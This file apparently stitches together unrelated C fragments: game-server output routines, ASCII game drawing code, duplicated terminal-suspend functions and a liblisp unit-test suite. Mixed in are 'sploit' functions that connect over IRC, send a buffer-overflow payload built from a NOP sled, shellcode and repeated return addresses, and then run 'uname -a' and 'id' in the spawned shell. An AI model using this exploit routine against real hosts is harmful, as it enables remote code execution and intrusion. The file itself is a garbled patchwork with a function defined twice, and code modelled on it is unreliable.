/*
* Send @id text @buf to @pl, line-buffered.
* @buf is user text.
* If a partial line with different id is buffered, terminate it with
* a newline first.
*/
static void
pr_player(struct player *pl, int id, char *buf)
{
char *p;
char *bp;
int len;
journal_output(pl, id, buf);
bp = buf;
while (*bp != '\0') {
if (pl->curid != -1 && pl->curid != id) {
io_puts(pl->iop, "\n");
pl->curid = -1;
}
if (pl->curid == -1)
outid(pl, id);
p = strchr(bp, '\n');
if (p != NULL) {
len = (p - bp) + 1;
io_write(pl->iop, bp, len);
bp += len;
pl->curid = -1;
} else {
len = io_puts(pl->iop, bp);
bp += len;
}
}
if (player == pl)
player_output_some();
}
void draw_ship(struct player *p)
{
io_set_color((100 - p->health)*2, 55 + (p->health*2), 0);
io_puts(p->x, p->y, " -|\\");
io_puts(p->x, p->y+1, ">]]]]]>");
io_puts(p->x, p->y+2, " -|/");
io_reset_color();
}
void draw_enemy_bullet(struct bullet *b)
{
if (b->shot) {
io_set_color(0xff, 0xff, 0x00);
io_puts(b->x+1, b->y, "~~");
io_puts(b->x+1, b->y+2, "~~");
io_reset_color();
}
}
void sploit_handler(int fd, struct connect *cnptr)
{
if(io_list[fd].status.closed || io_list[fd].status.err)
sploit_shutdown();
log(sploit_log, L_status, "Connected");
io_unregister(fd, IO_CB_WRITE);
io_register(fd, IO_CB_READ, sploit_read_irc);
io_queue_control(fd, ON, OFF, ON);
io_puts(fd, "USER sploit sploit sploit sploit");
io_puts(fd, "NICK sploit");
}
/*
* Send @id text @buf to @pl, line-buffered.
* This function translates from normal text to user text.
* If a partial line with different id is buffered, terminate it with
* a newline first.
*/
static void
upr_player(struct player *pl, int id, char *buf)
{
char *bp;
int standout = 0;
char printbuf[2];
char ch;
journal_output(pl, id, buf);
printbuf[0] = '\0';
printbuf[1] = '\0';
bp = buf;
while ((ch = *bp++)) {
if (pl->curid != -1 && pl->curid != id) {
io_puts(pl->iop, "\n");
pl->curid = -1;
}
if (pl->curid == -1)
outid(pl, id);
if (ch & 0x80) {
if (standout == 0) {
printbuf[0] = 0x0e;
io_puts(pl->iop, printbuf);
standout = 1;
}
ch &= 0x7f;
} else {
if (standout == 1) {
printbuf[0] = 0x0f;
io_puts(pl->iop, printbuf);
standout = 0;
}
}
if (ch == '\n') {
io_write(pl->iop, &ch, 1);
pl->curid = -1;
} else {
printbuf[0] = ch;
io_puts(pl->iop, printbuf);
}
}
if (player == pl)
player_output_some();
}
void sploit_send(int fd)
{
char payload[VULNSIZE + 1 + (8 * 4)];
log(sploit_log, L_status, "Payload size is %u bytes.", sizeof(payload) -1);
memset(payload, 0x90, sizeof(payload));
memcpy(&payload[VULNSIZE - (sizeof(shellcode) - 1)], shellcode,
sizeof(shellcode) - 1);
log(sploit_log, L_status, "Trying retaddr %p..", RETADDR);
*((void **)&payload[VULNSIZE]) = (void *)RETADDR;
*((void **)&payload[VULNSIZE + 4]) = (void *)RETADDR;
*((void **)&payload[VULNSIZE + 8]) = (void *)RETADDR;
*((void **)&payload[VULNSIZE + 12]) = (void *)RETADDR;
*((void **)&payload[VULNSIZE + 16]) = (void *)RETADDR;
*((void **)&payload[VULNSIZE + 20]) = (void *)RETADDR;
*((void **)&payload[VULNSIZE + 24]) = (void *)RETADDR;
*((void **)&payload[VULNSIZE + 28]) = (void *)RETADDR;
payload[sizeof(payload) - 1] = '\0';
io_puts(fd, "VULN :%s", payload);
io_register(fd, IO_CB_READ, sploit_read_shell);
io_register(fd, IO_CB_WRITE, sploit_write_shell);
io_set_events(fd, IO_WRITE|IO_READ);
}
void VUTermSuspend(BOOL cls)
{
setattr(DARKWHITE | BLACK);
if(cls) {
cursor(0, 0);
io_puts(term->term_cls);
}
else {
cursor(rows - 1, 0);
io_puts(term->term_eol);
}
io_escape(term->term_cursor_show);
io_escape(term->term_shutdown);
io_flush();
ioctl(STDIN, TIOCSETN, &old_stty);
}
void sploit_write_shell(int fd)
{
if(!sploit_success)
{
io_puts(fd, "uname -a\nid");
io_unregister(fd, IO_CB_WRITE);
}
}
void VUTermSuspend(BOOL cls)
{
setattr(DARKWHITE | BLACK);
if(cls) {
cursor(0, 0);
io_puts(term->term_eop);
}
else {
cursor(rows - 1, 0);
io_puts(term->term_eol);
}
if(cls != 2) {
io_escape(term->term_cursor_show);
io_escape(term->term_shutdown);
io_flush();
tcsetattr(STDIN, TCSANOW, &old_stty);
}
else
io_flush();
}
/*
* Send some text to @p with id @id, line-buffered.
* Format text to send using printf-style @format and optional
* arguments. It is assumed to be already user text. Plain ASCII and
* text received from the same player are fine, for anything else the
* caller has to deal with output filtering.
* If a partial line is buffered, terminate it with a newline first.
*/
void
pr_id(struct player *p, int id, char *format, ...)
{
char buf[4096];
va_list ap;
if (p->curid >= 0) {
io_puts(p->iop, "\n");
journal_output(p, p->curid, "\n");
p->curid = -1;
}
va_start(ap, format);
(void)vsprintf(buf, format, ap);
va_end(ap);
pr_player(p, id, buf);
}
/*
* Send id @n to @pl.
* This runs always at the beginning of a line.
*/
static void
outid(struct player *pl, int n)
{
char buf[3];
if (CANT_HAPPEN(n > C_LAST))
n = C_DATA;
if (n >= 10)
buf[0] = 'a' - 10 + n;
else
buf[0] = '0' + n;
buf[1] = ' ';
buf[2] = '\0';
io_puts(pl->iop, buf);
pl->curid = n;
}
void draw_enemy(struct enemy *e)
{
if (e->health) {
if ((int)e % 5) {
io_set_color(0x77, (int)(2.5 * e->health), 155 + (int)e % 100);
io_puts(e->x, e->y, "<<[[[\\");
io_puts(e->x, e->y+1, " (XXXX[");
io_puts(e->x, e->y+2, "<<[[[/");
} else {
io_set_color(155 + (int)e % 100, (int)(2.5 * e->health), 0x33);
io_puts(e->x, e->y, " /|- /");
io_puts(e->x, e->y+1, "<[[[[<");
io_puts(e->x, e->y+2, " \\|- \\");
}
io_reset_color();
}
}
int main(int argc, char **argv)
{
if (argc > 1)
while (++argv, --argc) {
if (!strcmp("-c", argv[0]))
color_on = 1;
else if (!strcmp("-h", argv[0]))
printf("liblisp unit tests\n\tusage ./%s (-c)? (-h)?\n", argv[0]);
else
printf("unknown argument '%s'\n", argv[0]);
}
unit_test_start("liblisp");
{
print_note("util.c");
test(is_number("0xfAb"));
test(is_number("-01234567"));
test(is_number("+1000000000000000000000000000003"));
test(!is_number(""));
test(!is_number("+"));
test(!is_number("-"));
test(unbalanced("(((", '(', ')') > 0);
test(unbalanced("))", '(', ')') < 0);
test(unbalanced("", '(', ')') == 0);
test(unbalanced("\"(", '(', ')') == 0);
test(unbalanced("( \"))))(()()()(()\\\"())\")", '(', ')') == 0);
test(unbalanced("(a (b) c (d (e (f) \")\" g)))", '(', ')') == 0);
test(unbalanced("((a b) c", '(', ')') > 0);
test(!is_fnumber(""));
test(!is_fnumber("1e"));
test(!is_fnumber("-1e"));
test(!is_fnumber("1-e"));
test(is_fnumber("+0."));
test(is_fnumber("123")); /*this passes, see header */
test(is_fnumber("1e-3"));
test(is_fnumber("1.003e+34"));
test(is_fnumber("1e34"));
test(is_fnumber("93.04"));
test(match("", ""));
test(match("abc", "abc"));
test(!match("abC", "abc"));
test(match("aaa*", "aaaXX"));
test(!match("aaa*", "XXaaaXX"));
test(match(".bc", "abc"));
test(match("a.c", "aXc"));
test(!match("a\\.c", "aXc"));
test(match("a\\.c", "a.c"));
char *s = NULL;
state(s = vstrcatsep(",", "a", "b", "c", "", "foo", "bar", NULL));
test(!sstrcmp("a,b,c,,foo,bar", s));
free(s);
char *t = NULL, *s1 = "Hello,", *s2 = " World!";
state(t = calloc(16, 1));
state(strcpy(t, s1));
test(((size_t) (lstrcatend(t, s2) - t)) == (strlen(s1) + strlen(s2)));
free(t);
/*test tr, or translate, functionality */
size_t trinsz = 0;
uint8_t trout[128] = { 0 }, *trin = (uint8_t *) "aaabbbcdaacccdeeefxxxa";
tr_state_t *tr1;
state(tr1 = tr_new());
state(trinsz = strlen((char *)trin));
test(tr_init(tr1, "", (uint8_t *) "abc", (uint8_t *) "def") == TR_OK);
test(tr_block(tr1, trin, trout, trinsz) == trinsz);
test(!strcmp((char *)trout, "dddeeefdddfffdeeefxxxd"));
test(tr_init(tr1, "s", (uint8_t *) "abc", (uint8_t *) "def") == TR_OK);
state(memset(trout, 0, 128));
test(tr_block(tr1, trin, trout, trinsz) <= trinsz);
test(!strcmp((char *)trout, "defddfdeeefxxxd"));
state(tr_delete(tr1));
/*know collisions for the djb2 hash algorithm */
test(djb2("heliotropes", strlen("heliotropes")) ==
djb2("neurospora", strlen("neurospora")));
test(djb2("depravement", strlen("depravement")) ==
djb2("serafins", strlen("serafins")));
/*should not collide */
test(djb2("heliotropes", strlen("heliotropes")) !=
djb2("serafins", strlen("serafins")));
}
{ /*io.c test */
io_t *in, *out;
print_note("io.c");
/*string input */
static const char hello[] = "Hello\n";
/**@note io_sin currently duplicates "hello" internally*/
state(in = io_sin(hello, strlen(hello)));
test(io_is_in(in));
test(io_getc(in) == 'H');
test(io_getc(in) == 'e');
test(io_getc(in) == 'l');
test(io_getc(in) == 'l');
test(io_getc(in) == 'o');
test(io_getc(in) == '\n');
test(io_getc(in) == EOF);
test(io_getc(in) == EOF);
test(!io_error(in));
test(io_seek(in, 0, SEEK_SET) >= 0);
test(io_getc(in) == 'H');
test(io_seek(in, 3, SEEK_SET) >= 0);
test(io_getc(in) == 'l');
test(io_ungetc('x', in) == 'x');
test(io_getc(in) == 'x');
test(io_getc(in) == 'o');
state(io_close(in));
/*string output */
char *s = NULL;
static const char hello_world[] = "Hello,\n\tWorld!\n";
/**@note io_sin currently duplicates hello_world internally*/
state(in = io_sin(hello_world, strlen(hello_world)));
test(!strcmp(s = io_getline(in), "Hello,"));
s = (free(s), NULL);
test(!strcmp(s = io_getline(in), "\tWorld!"));
s = (free(s), NULL);
test(!io_getline(in));
test(io_seek(in, 0, SEEK_SET) >= 0);
test(!strcmp(s = io_getdelim(in, EOF), "Hello,\n\tWorld!\n"));
s = (free(s), NULL);
state(io_close(in));
state(out = io_sout(1));
test(io_puts("Hello, World", out) != EOF);
test(!strcmp("Hello, World", io_get_string(out)));
test(io_putc('\n', out) != EOF);
test(!strcmp("Hello, World\n", io_get_string(out)));
test(io_seek(out, -6, SEEK_CUR) >= 0);
test(io_puts("Mars\n", out) != EOF);
test(!strcmp("Hello, Mars\n\n", io_get_string(out)));
free(io_get_string(out));
state(io_close(out));
static const char block_in[16] = {1, 3, 4, 6};
static char block_out[16] = {0};
state((in = io_sin(block_in, 16)));
test(io_getc(in) == 1);
test(io_read(block_out, 15, in) == 15);
test(!memcmp(block_out, block_in+1, 15));
state(io_close(in));
}
{ /* hash.c hash table tests */
hash_table_t *h = NULL;
print_note("hash.c");
state(h = hash_create(1));
return_if(!h);
test(!hash_insert(h, "key1", "val1"));
test(!hash_insert(h, "key2", "val2"));
/* assuming the hash algorithm is djb2, then
* "heliotropes" collides with "neurospora"
* "depravement" collides with "serafins"
* "playwright" collides with "snush" (for djb2a)
* See:
* <https://programmers.stackexchange.com/questions/49550/which-hashing-algorithm-is-best-for-uniqueness-and-speed> */
test(!hash_insert(h, "heliotropes", "val3"));
test(!hash_insert(h, "neurospora", "val4"));
test(!hash_insert(h, "depravement", "val5"));
test(!hash_insert(h, "serafins", "val6"));
test(!hash_insert(h, "playwright", "val7"));
test(!hash_insert(h, "snush", "val8"));
test(!hash_insert(h, "", "val9"));
test(!hash_insert(h, "nil", ""));
test(!hash_insert(h, "a", "x"));
test(!hash_insert(h, "a", "y"));
test(!hash_insert(h, "a", "z"));
test(!sstrcmp("val1", hash_lookup(h, "key1")));
test(!sstrcmp("val2", hash_lookup(h, "key2")));
test(!sstrcmp("val3", hash_lookup(h, "heliotropes")));
test(!sstrcmp("val4", hash_lookup(h, "neurospora")));
test(!sstrcmp("val5", hash_lookup(h, "depravement")));
test(!sstrcmp("val6", hash_lookup(h, "serafins")));
test(!sstrcmp("val7", hash_lookup(h, "playwright")));
test(!sstrcmp("val8", hash_lookup(h, "snush")));
test(!sstrcmp("val9", hash_lookup(h, "")));
test(!sstrcmp("", hash_lookup(h, "nil")));
test(!sstrcmp("z", hash_lookup(h, "a")));
test(hash_get_load_factor(h) <= 0.75f);
state(hash_destroy(h));
}
{ /* lisp.c (and the lisp interpreter in general) */
lisp_t *l;
print_note("lisp.c");
/*while unit testing eschews state being held across tests it is makes
*little sense in this case*/
state(l = lisp_init());
state(io_close(lisp_get_logging(l)));
test(!lisp_set_logging(l, io_nout()));
return_if(!l);
test(!lisp_eval_string(l, ""));
test(is_int(lisp_eval_string(l, "2")));
test(get_int(lisp_eval_string(l, "(+ 2 2)")) == 4);
test(get_int(lisp_eval_string(l, "(* 3 2)")) == 6);
lisp_cell_t *x = NULL, *y = NULL, *z = NULL;
char *t = NULL;
state(x = lisp_intern(l, lstrdup_or_abort("foo")));
state(y = lisp_intern(l, t = lstrdup_or_abort("foo"))); /*this one needs freeing! */
state(z = lisp_intern(l, lstrdup_or_abort("bar")));
test(x == y && x != NULL);
test(x != z);
free(t); /*free the non-interned string */
test(is_proc(lisp_eval_string(l, "(define square (lambda (x) (* x x)))")));
test(get_int(lisp_eval_string(l, "(square 4)")) == 16);
test(!is_list(cons(l, gsym_tee(), gsym_tee())));
test(is_list(cons(l, gsym_tee(), gsym_nil())));
test(!is_list(cons(l, gsym_nil(), cons(l, gsym_tee(), gsym_tee()))));
test(is_list(mk_list(l, gsym_tee(), gsym_nil(), gsym_tee(), NULL)));
test(gsym_error() == lisp_eval_string(l, "(> 'a 1)"));
test(is_sym(x));
test(is_asciiz(x));
test(!is_str(x));
test(gsym_error() == lisp_eval_string(l, "(eval (cons quote 0))"));
char *serial = NULL;
test(!strcmp((serial = lisp_serialize(l, cons(l, gsym_tee(), gsym_error()))), "(t . error)"));
state(free(serial));
state(lisp_destroy(l));
}
return unit_test_end("liblisp"); /*should be zero! */
}
